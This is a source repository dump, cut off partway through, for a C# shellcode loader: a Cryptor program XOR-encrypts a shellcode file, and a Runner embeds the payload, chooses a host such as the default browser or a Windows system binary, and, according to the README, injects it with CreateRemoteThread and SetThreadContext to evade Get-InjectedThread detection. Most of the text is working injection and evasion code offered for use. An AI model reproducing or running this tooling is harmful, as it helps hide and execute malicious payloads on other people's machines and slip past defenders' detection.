├── .gitignore ├── Cryptor ├── Cryptor │ ├── Cryptor.csproj │ ├── Program.cs │ └── Properties │ │ └── AssemblyInfo.cs └── ThreadContextRunner.sln ├── README.md └── Runner ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs └── Resources.resx └── Runner.csproj /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | encrypted.bin 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | bld/ 24 | [Bb]in/ 25 | [Oo]bj/ 26 | [Ll]og/ 27 | 28 | # Visual Studio 2015 cache/options directory 29 | .vs/ 30 | # Uncomment if you have tasks that create the project's static files in wwwroot 31 | #wwwroot/ 32 | 33 | # MSTest test Results 34 | [Tt]est[Rr]esult*/ 35 | [Bb]uild[Ll]og.* 36 | 37 | # NUNIT 38 | *.VisualState.xml 39 | TestResult.xml 40 | 41 | # Build Results of an ATL Project 42 | [Dd]ebugPS/ 43 | [Rr]eleasePS/ 44 | dlldata.c 45 | 46 | # .NET Core 47 | project.lock.json 48 | project.fragment.lock.json 49 | artifacts/ 50 | **/Properties/launchSettings.json 51 | 52 | *_i.c 53 | *_p.c 54 | *_i.h 55 | *.ilk 56 | *.meta 57 | *.obj 58 | *.pch 59 | *.pdb 60 | *.pgc 61 | *.pgd 62 | *.rsp 63 | *.sbr 64 | *.tlb 65 | *.tli 66 | *.tlh 67 | *.tmp 68 | *.tmp_proj 69 | *.log 70 | *.vspscc 71 | *.vssscc 72 | .builds 73 | *.pidb 74 | *.svclog 75 | *.scc 76 | 77 | # Chutzpah Test files 78 | _Chutzpah* 79 | 80 | # Visual C++ cache files 81 | ipch/ 82 | *.aps 83 | *.ncb 84 | *.opendb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | *.VC.db 89 | *.VC.VC.opendb 90 | 91 | # Visual Studio profiler 92 | *.psess 93 | *.vsp 94 | *.vspx 95 | *.sap 96 | 97 | # TFS 2012 Local Workspace 98 | $tf/ 99 | 100 | # Guidance Automation Toolkit 101 | *.gpState 102 | 103 | # ReSharper is a .NET coding add-in 104 | _ReSharper*/ 105 | *.[Rr]e[Ss]harper 106 | *.DotSettings.user 107 | 108 | # JustCode is a .NET coding add-in 109 | .JustCode 110 | 111 | # TeamCity is a build add-in 112 | _TeamCity* 113 | 114 | # DotCover is a Code Coverage Tool 115 | *.dotCover 116 | 117 | # Visual Studio code coverage results 118 | *.coverage 119 | *.coveragexml 120 | 121 | # NCrunch 122 | _NCrunch_* 123 | .*crunch*.local.xml 124 | nCrunchTemp_* 125 | 126 | # MightyMoose 127 | *.mm.* 128 | AutoTest.Net/ 129 | 130 | # Web workbench (sass) 131 | .sass-cache/ 132 | 133 | # Installshield output folder 134 | [Ee]xpress/ 135 | 136 | # DocProject is a documentation generator add-in 137 | DocProject/buildhelp/ 138 | DocProject/Help/*.HxT 139 | DocProject/Help/*.HxC 140 | DocProject/Help/*.hhc 141 | DocProject/Help/*.hhk 142 | DocProject/Help/*.hhp 143 | DocProject/Help/Html2 144 | DocProject/Help/html 145 | 146 | # Click-Once directory 147 | publish/ 148 | 149 | # Publish Web Output 150 | *.[Pp]ublish.xml 151 | *.azurePubxml 152 | # TODO: Comment the next line if you want to checkin your web deploy settings 153 | # but database connection strings (with potential passwords) will be unencrypted 154 | *.pubxml 155 | *.publishproj 156 | 157 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 158 | # checkin your Azure Web App publish settings, but sensitive information contained 159 | # in these scripts will be unencrypted 160 | PublishScripts/ 161 | 162 | # NuGet Packages 163 | *.nupkg 164 | # The packages folder can be ignored because of Package Restore 165 | **/packages/* 166 | # except build/, which is used as an MSBuild target. 167 | !**/packages/build/ 168 | # Uncomment if necessary however generally it will be regenerated when needed 169 | #!**/packages/repositories.config 170 | # NuGet v3's project.json files produces more ignoreable files 171 | *.nuget.props 172 | *.nuget.targets 173 | 174 | # Microsoft Azure Build Output 175 | csx/ 176 | *.build.csdef 177 | 178 | # Microsoft Azure Emulator 179 | ecf/ 180 | rcf/ 181 | 182 | # Windows Store app package directories and files 183 | AppPackages/ 184 | BundleArtifacts/ 185 | Package.StoreAssociation.xml 186 | _pkginfo.txt 187 | 188 | # Visual Studio cache files 189 | # files ending in .cache can be ignored 190 | *.[Cc]ache 191 | # but keep track of directories ending in .cache 192 | !*.[Cc]ache/ 193 | 194 | # Others 195 | ClientBin/ 196 | ~$* 197 | *~ 198 | *.dbmdl 199 | *.dbproj.schemaview 200 | *.jfm 201 | *.pfx 202 | *.publishsettings 203 | node_modules/ 204 | orleans.codegen.cs 205 | 206 | # Since there are multiple workflows, uncomment next line to ignore bower_components 207 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 208 | #bower_components/ 209 | 210 | # RIA/Silverlight projects 211 | Generated_Code/ 212 | 213 | # Backup & report files from converting an old project file 214 | # to a newer Visual Studio version. Backup files are not needed, 215 | # because we have git ;-) 216 | _UpgradeReport_Files/ 217 | Backup*/ 218 | UpgradeLog*.XML 219 | UpgradeLog*.htm 220 | 221 | # SQL Server files 222 | *.mdf 223 | *.ldf 224 | 225 | # Business Intelligence projects 226 | *.rdl.data 227 | *.bim.layout 228 | *.bim_*.settings 229 | 230 | # Microsoft Fakes 231 | FakesAssemblies/ 232 | 233 | # GhostDoc plugin setting file 234 | *.GhostDoc.xml 235 | 236 | # Node.js Tools for Visual Studio 237 | .ntvs_analysis.dat 238 | 239 | # Visual Studio 6 build log 240 | *.plg 241 | 242 | # Visual Studio 6 workspace options file 243 | *.opt 244 | 245 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 246 | *.vbw 247 | 248 | # Visual Studio LightSwitch build output 249 | **/*.HTMLClient/GeneratedArtifacts 250 | **/*.DesktopClient/GeneratedArtifacts 251 | **/*.DesktopClient/ModelManifest.xml 252 | **/*.Server/GeneratedArtifacts 253 | **/*.Server/ModelManifest.xml 254 | _Pvt_Extensions 255 | 256 | # Paket dependency manager 257 | .paket/paket.exe 258 | paket-files/ 259 | 260 | # FAKE - F# Make 261 | .fake/ 262 | 263 | # JetBrains Rider 264 | .idea/ 265 | *.sln.iml 266 | 267 | # CodeRush 268 | .cr/ 269 | 270 | # Python Tools for Visual Studio (PTVS) 271 | __pycache__/ 272 | *.pyc 273 | 274 | # Cake - Uncomment if you are using it 275 | # tools/ 276 | -------------------------------------------------------------------------------- /Cryptor/Cryptor/Cryptor.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {87C5970E-0C77-4182-AFE2-3FE96F785EBB} 8 | Exe 9 | Cryptor 10 | Cryptor 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /Cryptor/Cryptor/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.IO; 6 | 7 | namespace Cryptor 8 | { 9 | class Program 10 | { 11 | // Simple XOR routine 12 | static byte[] XorByteArray(byte[] origBytes, char[] cryptor) 13 | { 14 | byte[] result = new byte[origBytes.Length]; 15 | int j = 0; 16 | for (int i = 0; i < origBytes.Length; i++) 17 | { 18 | if (j == cryptor.Length - 1) 19 | { 20 | j = 0; 21 | } 22 | byte res = (byte)(origBytes[i] ^ Convert.ToByte(cryptor[j])); 23 | result[i] = res; 24 | j += 1; 25 | } 26 | return result; 27 | } 28 | 29 | static void Usage() 30 | { 31 | string usageString = @" 32 | Usage: 33 | 34 | .\Cryptor.exe shellcode.bin 35 | 36 | This spits out a new file, encrypted.bin. This will contain your encrypted shellcode! 37 | "; 38 | Console.WriteLine(usageString); 39 | } 40 | 41 | static void Main(string[] args) 42 | { 43 | if (args.Length != 1) 44 | { 45 | Console.WriteLine("ERROR: Need to pass only the path to the shell code file to encrypt."); 46 | Environment.Exit(1); 47 | } 48 | if (!File.Exists(args[0])) 49 | { 50 | Console.WriteLine("Could not find path to shellcode bin file: {0}", args[0]); 51 | Environment.Exit(1); 52 | } 53 | byte[] shellcodeBytes = File.ReadAllBytes(args[0]); 54 | // This is the encryption key. If changed, must also be changed in the 55 | // project that runs the shellcode. 56 | char[] cryptor = new char[] { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y', '\0' }; 57 | byte[] encShellcodeBytes = XorByteArray(shellcodeBytes, cryptor); 58 | File.WriteAllBytes("encrypted.bin", encShellcodeBytes); 59 | Console.WriteLine("Wrote encoded binary to encrypted.bin."); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Cryptor/Cryptor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Cryptor")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Cryptor")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("87c5970e-0c77-4182-afe2-3fe96f785ebb")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Cryptor/ThreadContextRunner.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2026 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cryptor", "Cryptor\Cryptor.csproj", "{87C5970E-0C77-4182-AFE2-3FE96F785EBB}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Runner", "..\Runner\Runner.csproj", "{A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {87C5970E-0C77-4182-AFE2-3FE96F785EBB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {87C5970E-0C77-4182-AFE2-3FE96F785EBB}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {87C5970E-0C77-4182-AFE2-3FE96F785EBB}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {87C5970E-0C77-4182-AFE2-3FE96F785EBB}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5F2499D0-642D-45EC-B3F8-48039147F86B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Disclaimer 2 | 3 | The code provided is "as is" and will not be supported. 4 | 5 | # CSharp SetThreadContext Shellcode Runner Example 6 | 7 | This project is a C# port of the work @xpn did in his blog post here: 8 | 9 | https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/ 10 | 11 | We only tackle the SetThreadContext portion here, though the building blocks to perform all three tasks are here. 12 | 13 | This project first determines a suitable executable to spawn, decrypts shellcode using a predefined key, then uses CreateRemoteThread and SetThreadContext to ensure that the remote thread is backed by a file on disk, effectively evading `Get-InjectedThread`. 14 | 15 | ## Usage 16 | 17 | The solution file is in `Cryptor\ThreadContextRunner.sln`. Open this and view the two projects. If you wish to change the encryption key, you'll need to change it both in `Cryptor` and `Runner` projects. 18 | 19 | Right click `Cryptor` in the solution pane and click "Build". This will build the executable, `Cryptor.exe`, that will encrypt your shellcode. Run this by: `Cryptor.exe C:\Path\To\Shellcode.bin`. This generates a new file, `encrypted.bin`. 20 | 21 | Next, right click the `Runner` project in the Solution Explorer on the right hand side and click "Properties". Go to Resources then add a new File resource. Navigate to the folder where `encrypted.bin` was generated and add it as a resource. Then, click this new resource in the Solution Explorer and ensure that the Build Action is set to "Embedded Resource". 22 | 23 | Now you can rebuild the entire solution. `Runner.exe` will be generated and should be suitable to run your shellcode when double clicked. 24 | 25 | ## Special Thanks 26 | 27 | @xpn and @its_a_feature for their excellent blog and teaching me C/C++ respectively. 28 | -------------------------------------------------------------------------------- /Runner/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using System.Diagnostics; 7 | using System.Security.Principal; 8 | using Microsoft.Win32; 9 | 10 | namespace Runner 11 | { 12 | class Program 13 | { 14 | #region Types and Enums 15 | 16 | public enum CONTEXT_FLAGS : uint 17 | { 18 | CONTEXT_i386 = 0x10000, 19 | CONTEXT_i486 = 0x10000, // same as i386 20 | CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP 21 | CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI 22 | CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS 23 | CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state 24 | CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 25 | CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions 26 | CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, 27 | CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS 28 | } 29 | 30 | 31 | [StructLayout(LayoutKind.Sequential)] 32 | public struct FLOATING_SAVE_AREA 33 | { 34 | public uint ControlWord; 35 | public uint StatusWord; 36 | public uint TagWord; 37 | public uint ErrorOffset; 38 | public uint ErrorSelector; 39 | public uint DataOffset; 40 | public uint DataSelector; 41 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] 42 | public byte[] RegisterArea; 43 | public uint Cr0NpxState; 44 | } 45 | 46 | [StructLayout(LayoutKind.Sequential)] 47 | public struct CONTEXT 48 | { 49 | public uint ContextFlags; //set this to an appropriate value 50 | // Retrieved by CONTEXT_DEBUG_REGISTERS 51 | public uint Dr0; 52 | public uint Dr1; 53 | public uint Dr2; 54 | public uint Dr3; 55 | public uint Dr6; 56 | public uint Dr7; 57 | // Retrieved by CONTEXT_FLOATING_POINT 58 | public FLOATING_SAVE_AREA FloatSave; 59 | // Retrieved by CONTEXT_SEGMENTS 60 | public uint SegGs; 61 | public uint SegFs; 62 | public uint SegEs; 63 | public uint SegDs; 64 | // Retrieved by CONTEXT_INTEGER 65 | public uint Edi; 66 | public uint Esi; 67 | public uint Ebx; 68 | public uint Edx; 69 | public uint Ecx; 70 | public uint Eax; 71 | // Retrieved by CONTEXT_CONTROL 72 | public uint Ebp; 73 | public uint Eip; 74 | public uint SegCs; 75 | public uint EFlags; 76 | public uint Esp; 77 | public uint SegSs; 78 | // Retrieved by CONTEXT_EXTENDED_REGISTERS 79 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] 80 | public byte[] ExtendedRegisters; 81 | } 82 | 83 | // Next x64 84 | 85 | [StructLayout(LayoutKind.Sequential)] 86 | public struct M128A 87 | { 88 | public ulong High; 89 | public long Low; 90 | 91 | public override string ToString() 92 | { 93 | return string.Format("High:{0}, Low:{1}", this.High, this.Low); 94 | } 95 | } 96 | 97 | /// 98 | /// x64 99 | /// 100 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 101 | public struct XSAVE_FORMAT64 102 | { 103 | public ushort ControlWord; 104 | public ushort StatusWord; 105 | public byte TagWord; 106 | public byte Reserved1; 107 | public ushort ErrorOpcode; 108 | public uint ErrorOffset; 109 | public ushort ErrorSelector; 110 | public ushort Reserved2; 111 | public uint DataOffset; 112 | public ushort DataSelector; 113 | public ushort Reserved3; 114 | public uint MxCsr; 115 | public uint MxCsr_Mask; 116 | 117 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 118 | public M128A[] FloatRegisters; 119 | 120 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] 121 | public M128A[] XmmRegisters; 122 | 123 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] 124 | public byte[] Reserved4; 125 | } 126 | 127 | /// 128 | /// x64 129 | /// 130 | [StructLayout(LayoutKind.Sequential, Pack = 16)] 131 | public struct CONTEXT64 132 | { 133 | public ulong P1Home; 134 | public ulong P2Home; 135 | public ulong P3Home; 136 | public ulong P4Home; 137 | public ulong P5Home; 138 | public ulong P6Home; 139 | 140 | public CONTEXT_FLAGS ContextFlags; 141 | public uint MxCsr; 142 | 143 | public ushort SegCs; 144 | public ushort SegDs; 145 | public ushort SegEs; 146 | public ushort SegFs; 147 | public ushort SegGs; 148 | public ushort SegSs; 149 | public uint EFlags; 150 | 151 | public ulong Dr0; 152 | public ulong Dr1; 153 | public ulong Dr2; 154 | public ulong Dr3; 155 | public ulong Dr6; 156 | public ulong Dr7; 157 | 158 | public ulong Rax; 159 | public ulong Rcx; 160 | public ulong Rdx; 161 | public ulong Rbx; 162 | public ulong Rsp; 163 | public ulong Rbp; 164 | public ulong Rsi; 165 | public ulong Rdi; 166 | public ulong R8; 167 | public ulong R9; 168 | public ulong R10; 169 | public ulong R11; 170 | public ulong R12; 171 | public ulong R13; 172 | public ulong R14; 173 | public ulong R15; 174 | public ulong Rip; 175 | 176 | public XSAVE_FORMAT64 DUMMYUNIONNAME; 177 | 178 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] 179 | public M128A[] VectorRegister; 180 | public ulong VectorControl; 181 | 182 | public ulong DebugControl; 183 | public ulong LastBranchToRip; 184 | public ulong LastBranchFromRip; 185 | public ulong LastExceptionToRip; 186 | public ulong LastExceptionFromRip; 187 | } 188 | 189 | 190 | 191 | public delegate void ThreadStartDelegate(); 192 | 193 | [Flags] 194 | public enum AllocationType 195 | { 196 | Commit = 0x1000, 197 | Reserve = 0x2000, 198 | Decommit = 0x4000, 199 | Release = 0x8000, 200 | Reset = 0x80000, 201 | Physical = 0x400000, 202 | TopDown = 0x100000, 203 | WriteWatch = 0x200000, 204 | LargePages = 0x20000000 205 | } 206 | 207 | [Flags] 208 | public enum MemoryProtection 209 | { 210 | Execute = 0x10, 211 | ExecuteRead = 0x20, 212 | ExecuteReadWrite = 0x40, 213 | ExecuteWriteCopy = 0x80, 214 | NoAccess = 0x01, 215 | ReadOnly = 0x02, 216 | ReadWrite = 0x04, 217 | WriteCopy = 0x08, 218 | GuardModifierflag = 0x100, 219 | NoCacheModifierflag = 0x200, 220 | WriteCombineModifierflag = 0x400 221 | } 222 | 223 | [Flags] 224 | public enum ProcessAccessFlags : uint 225 | { 226 | All = 0x001F0FFF, 227 | Terminate = 0x00000001, 228 | CreateThread = 0x00000002, 229 | VirtualMemoryOperation = 0x00000008, 230 | VirtualMemoryRead = 0x00000010, 231 | VirtualMemoryWrite = 0x00000020, 232 | DuplicateHandle = 0x00000040, 233 | CreateProcess = 0x000000080, 234 | SetQuota = 0x00000100, 235 | SetInformation = 0x00000200, 236 | QueryInformation = 0x00000400, 237 | QueryLimitedInformation = 0x00001000, 238 | Synchronize = 0x00100000 239 | } 240 | 241 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 242 | public struct STARTUPINFOEX 243 | { 244 | public STARTUPINFO StartupInfo; 245 | public IntPtr lpAttributeList; 246 | } 247 | 248 | [StructLayout(LayoutKind.Sequential)] 249 | public struct SECURITY_ATTRIBUTES 250 | { 251 | public int nLength; 252 | public unsafe byte* lpSecurityDescriptor; 253 | public int bInheritHandle; 254 | } 255 | 256 | [StructLayout(LayoutKind.Sequential)] 257 | internal struct PROCESS_INFORMATION 258 | { 259 | public IntPtr hProcess; 260 | public IntPtr hThread; 261 | public int dwProcessId; 262 | public int dwThreadId; 263 | } 264 | 265 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 266 | public struct STARTUPINFO 267 | { 268 | public Int32 cb; 269 | public string lpReserved; 270 | public string lpDesktop; 271 | public string lpTitle; 272 | public Int32 dwX; 273 | public Int32 dwY; 274 | public Int32 dwXSize; 275 | public Int32 dwYSize; 276 | public Int32 dwXCountChars; 277 | public Int32 dwYCountChars; 278 | public Int32 dwFillAttribute; 279 | public Int32 dwFlags; 280 | public Int16 wShowWindow; 281 | public Int16 cbReserved2; 282 | public IntPtr lpReserved2; 283 | public IntPtr hStdInput; 284 | public IntPtr hStdOutput; 285 | public IntPtr hStdError; 286 | } 287 | #endregion 288 | 289 | #region pinvoke sigs 290 | 291 | [DllImport("kernel32.dll", SetLastError = true)] 292 | static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext); 293 | 294 | // Get context of thread x64, in x64 application 295 | [DllImport("kernel32.dll", SetLastError = true)] 296 | static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); 297 | 298 | // Get context of thread x64, in x64 application 299 | [DllImport("kernel32.dll", SetLastError = true)] 300 | static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext); 301 | 302 | // Get context of thread x64, in x64 application 303 | [DllImport("kernel32.dll", SetLastError = true)] 304 | static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); 305 | 306 | // Get context of thread x64, in x64 application 307 | [DllImport("kernel32.dll", SetLastError = true)] 308 | static extern bool ResumeThread(IntPtr hThread); 309 | 310 | // Get context of thread x64, in x64 application 311 | [DllImport("kernel32.dll", SetLastError = true)] 312 | static extern bool CloseHandle(IntPtr hThread); 313 | 314 | [DllImport("kernel32.dll")] 315 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 316 | uint dwSize, MemoryProtection flNewProtect, out uint lpflOldProtect); 317 | 318 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 319 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 320 | 321 | [DllImport("kernel32.dll", SetLastError = true)] 322 | public static extern bool WriteProcessMemory( 323 | IntPtr hProcess, 324 | IntPtr lpBaseAddress, 325 | byte[] lpBuffer, 326 | Int32 nSize, 327 | out IntPtr lpNumberOfBytesWritten); 328 | 329 | [DllImport("kernel32.dll", SetLastError = true)] 330 | public static extern bool WriteProcessMemory( 331 | IntPtr hProcess, 332 | IntPtr lpBaseAddress, 333 | [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, 334 | int dwSize, 335 | out IntPtr lpNumberOfBytesWritten); 336 | 337 | [DllImport("kernel32.dll", SetLastError = true)] 338 | public static extern IntPtr OpenProcess( 339 | ProcessAccessFlags processAccess, 340 | bool bInheritHandle, 341 | int processId 342 | ); 343 | 344 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 345 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 346 | uint dwSize, AllocationType flAllocationType, 347 | MemoryProtection flProtect); 348 | 349 | public static IntPtr OpenProcess(Process proc, ProcessAccessFlags flags) 350 | { 351 | return OpenProcess(flags, false, proc.Id); 352 | } 353 | 354 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] 355 | static extern bool CreateProcess( 356 | string lpApplicationName, 357 | string lpCommandLine, 358 | ref SECURITY_ATTRIBUTES lpProcessAttributes, 359 | ref SECURITY_ATTRIBUTES lpThreadAttributes, 360 | bool bInheritHandles, 361 | uint dwCreationFlags, 362 | IntPtr lpEnvironment, 363 | string lpCurrentDirectory, 364 | [In] ref STARTUPINFO lpStartupInfo, 365 | out PROCESS_INFORMATION lpProcessInformation); 366 | 367 | 368 | [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] 369 | static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); 370 | 371 | [DllImport("kernel32.dll")] 372 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, 373 | IntPtr lpThreadAttributes, uint dwStackSize, ThreadStartDelegate 374 | lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 375 | 376 | [DllImport("kernel32.dll")] 377 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, 378 | IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, 379 | IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); 380 | 381 | #endregion 382 | 383 | #region User Defined functions 384 | 385 | static bool IsHighIntegrity() 386 | { 387 | // returns true if the current process is running with adminstrative privs in a high integrity context 388 | WindowsIdentity identity = WindowsIdentity.GetCurrent(); 389 | WindowsPrincipal principal = new WindowsPrincipal(identity); 390 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 391 | } 392 | 393 | static string GetDefaultBrowser() 394 | { 395 | string defaultBrowser = ""; 396 | using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\https\\UserChoice")) 397 | { 398 | if (key != null) 399 | { 400 | Object o = key.GetValue("ProgId"); 401 | if (o != null) 402 | { 403 | defaultBrowser = o.ToString(); //do what you like with version 404 | } 405 | } 406 | } 407 | 408 | // Now find the open command 409 | string regOpenPath = defaultBrowser + "\\shell\\open\\command"; 410 | string defaultBrowserPath = ""; 411 | using (RegistryKey key = Registry.ClassesRoot.OpenSubKey(regOpenPath)) 412 | { 413 | if (key != null) 414 | { 415 | Object o = key.GetValue(""); 416 | if (o != null) 417 | { 418 | string launchPath = o.ToString().Trim('"'); //do what you like with version 419 | int exeIndex = launchPath.IndexOf(".exe"); 420 | defaultBrowserPath = launchPath.Substring(0, exeIndex + 4); 421 | } 422 | } 423 | } 424 | return defaultBrowserPath; 425 | } 426 | 427 | static string GetWindowsBinary() 428 | { 429 | string[] binaries = new string[] 430 | { 431 | "\\splwow64.exe", 432 | "\\System32\\printfilterpipelinesvc.exe", 433 | "\\System32\\PrintIsolationHost.exe", 434 | "\\System32\\spoolsv.exe", 435 | "\\System32\\upnpcont.exe", 436 | "\\System32\\conhost.exe", 437 | "\\System32\\convertvhd.exe" 438 | }; 439 | string systemRoot = Environment.GetEnvironmentVariable("SYSTEMROOT"); 440 | Random rnd = new Random(); 441 | int binIndex = rnd.Next(0, binaries.Length); 442 | string result = systemRoot + binaries[binIndex]; 443 | return result; 444 | } 445 | 446 | static string GetValidExecutable() 447 | { 448 | string result = ""; 449 | if (IsHighIntegrity()) 450 | { 451 | result = GetWindowsBinary(); 452 | } 453 | else 454 | { 455 | result = GetDefaultBrowser(); 456 | } 457 | if (result == "") 458 | { 459 | result = GetWindowsBinary(); 460 | } 461 | return result; 462 | } 463 | 464 | static byte[] GetAllDecryptedBytes() 465 | { 466 | // Change this encryption key if it was set differently 467 | // in Cryptor's Program.cs 468 | char[] cryptor = new char[] { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y', '\0' }; 469 | // You'll need to ensure you have the encrypted shellcode 470 | // added as an embedded resource. 471 | byte[] rawData = Runner.Properties.Resources.encrypted; 472 | byte[] result = new byte[rawData.Length]; 473 | int j = 0; 474 | 475 | for (int i = 0; i < rawData.Length; i++) 476 | { 477 | if (j == cryptor.Length - 1) 478 | { 479 | j = 0; 480 | } 481 | byte res = (byte)(rawData[i] ^ Convert.ToByte(cryptor[j])); 482 | result[i] = res; 